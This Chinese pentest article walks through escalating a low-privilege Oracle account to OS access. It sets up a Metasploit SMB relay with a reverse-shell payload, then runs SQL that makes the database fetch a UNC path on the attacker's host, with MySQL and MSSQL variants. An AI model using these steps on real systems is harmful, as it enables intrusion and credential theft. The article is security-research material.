使用低权限Oracle数据库账户得到管理员权限

安全 数据安全
这几天看了篇叫"Penetration: from application down to OS (Oracle)"的文档,感觉挺有意思的,文档的 大概意思就是说,如果 ORACLE 服务是用 administrator 账户启动的,你只要有一个具有 resource 和connect 权限的数据库账户,就能利用 metasploit 的 smbrelay 功能,本地搭建一个 SMB 欺 骗 服 务 器 , 来得到系统的访问权限。我本地测试了下,还真的成功了。

这几天看了篇叫"Penetration: from application down to OS (Oracle)"的文档,感觉挺有意思的,文档的 大概意思就是说,如果 ORACLE 服务是用 administrator 账户启动的,你只要有一个具有 resource 和connect 权限的数据库账户,就能利用 metasploit 的 smbrelay 功能,本地搭建一个 SMB 欺 骗 服 务 器 , 来得到系统的访问权限。我本地测试了下,还真的成功了。:-)

具体的原理分析看原文吧,我这里把我的测试过程写出来.

我的渗透环境用的是 ubuntu8.10+metasploit 3.3 dev,oracle 数据库版本为 10.2.0.1.0,服务启动权限为 administrator,数据库账户用的是 dbsnmp 账户的默认权限.

 


1.先用 netstat 命令查看一下,本地的 139 端口有没有占用,一般占用此端口的服务就是 Samba 了,要关掉。ubuntu 的关闭方法是 sudo /etc/init.d/samba stop




 

2.运行 metasploit,我选用的 PAYLOAD 是 shell_reverse_tcp,做好相应配置后,exploit.就能用 netstat 看到本地已经监听了 139 和 8522 端口了.





3.我现在使用 dbsnmp 默认账户连接到 oracle 数据库上,这个账户默认权限是比较低的,只有 connect和 resource 权限。

  

4.然后执行下面 3 条 SQL 语句

SQL> CREATE TABLE files(id NUMBER PRIMARY KEY,path VARCHAR(255)UNIQUE,ot_format VARCHAR(6));

SQL> INSERT INTO files VALUES(1,'\\192.168.1.52\mickey',NULL);

SQL> CREATE INDEX file_index ON files(path) INDEXTYPE IS ctxsys.context2   PARAMETERS('datastore ctxsys.file_datastore format column ot_format');




当执行完 create index 这句的时候,在看咱们本地的 metasploit,就已经得到 ORACLE 数据库主机的系统当前服务用户的 half lm 哈希和 cmdshell 了。

  

 




 

后来经过 pt007 的提醒,我又测试了 mysql,如果服务也是 administrator 启动的,用

select load_file('\\\\192.168.1.52\mk.txt')也是可以得到系统权限的.MSSQL 应该用 xp_dirtree 存储过程 也是可以的,不过我没有配置出来用 administrator 账户启动 MSSQL 服务,希望知道的朋友指点下我。 这个技术可以用到内网 WEB 评估的时候,如果有注入,服务又是 administrator 启动的,可以提权了。

【编辑推荐】

  1. 详解有关Windows系统下的权限设置
  2. SQL Server 2005和Oracle 10g安全性比较
责任编辑:Oo小孩儿 来源: CSDN
相关推荐

2009-11-06 17:39:41

2009-10-22 16:53:08

2009-10-26 17:29:21

Oracle管理员数据库管理

2011-03-15 13:06:06

Oracle数据库管理员

2011-03-15 13:25:41

Oracle数据库管理员维护

2014-04-24 09:51:47

Linux管理员ACL集体权限

2011-08-17 15:29:00

2009-10-27 13:20:19

Oracle默认管理员

2009-02-20 20:02:16

2011-03-15 11:34:43

Oracle数据库管理员任务

2010-06-07 21:01:45

管理员权限GPO

2017-06-14 14:33:58

2019-07-17 17:00:29

数据库数据库管理员DBA

2020-07-21 15:52:01

腾讯云数据库SQL Server

2019-11-13 17:15:21

Linux工具SUDO

2019-11-12 09:07:35

Linux命sudo

2023-03-22 09:18:53

数据库管理架构

2017-03-14 13:57:15

数据库权限分配探讨

2021-11-12 15:42:34

MySQL数据库权限

2011-03-15 13:18:45

Oracle数据库管理员
点赞
收藏

51CTO技术栈公众号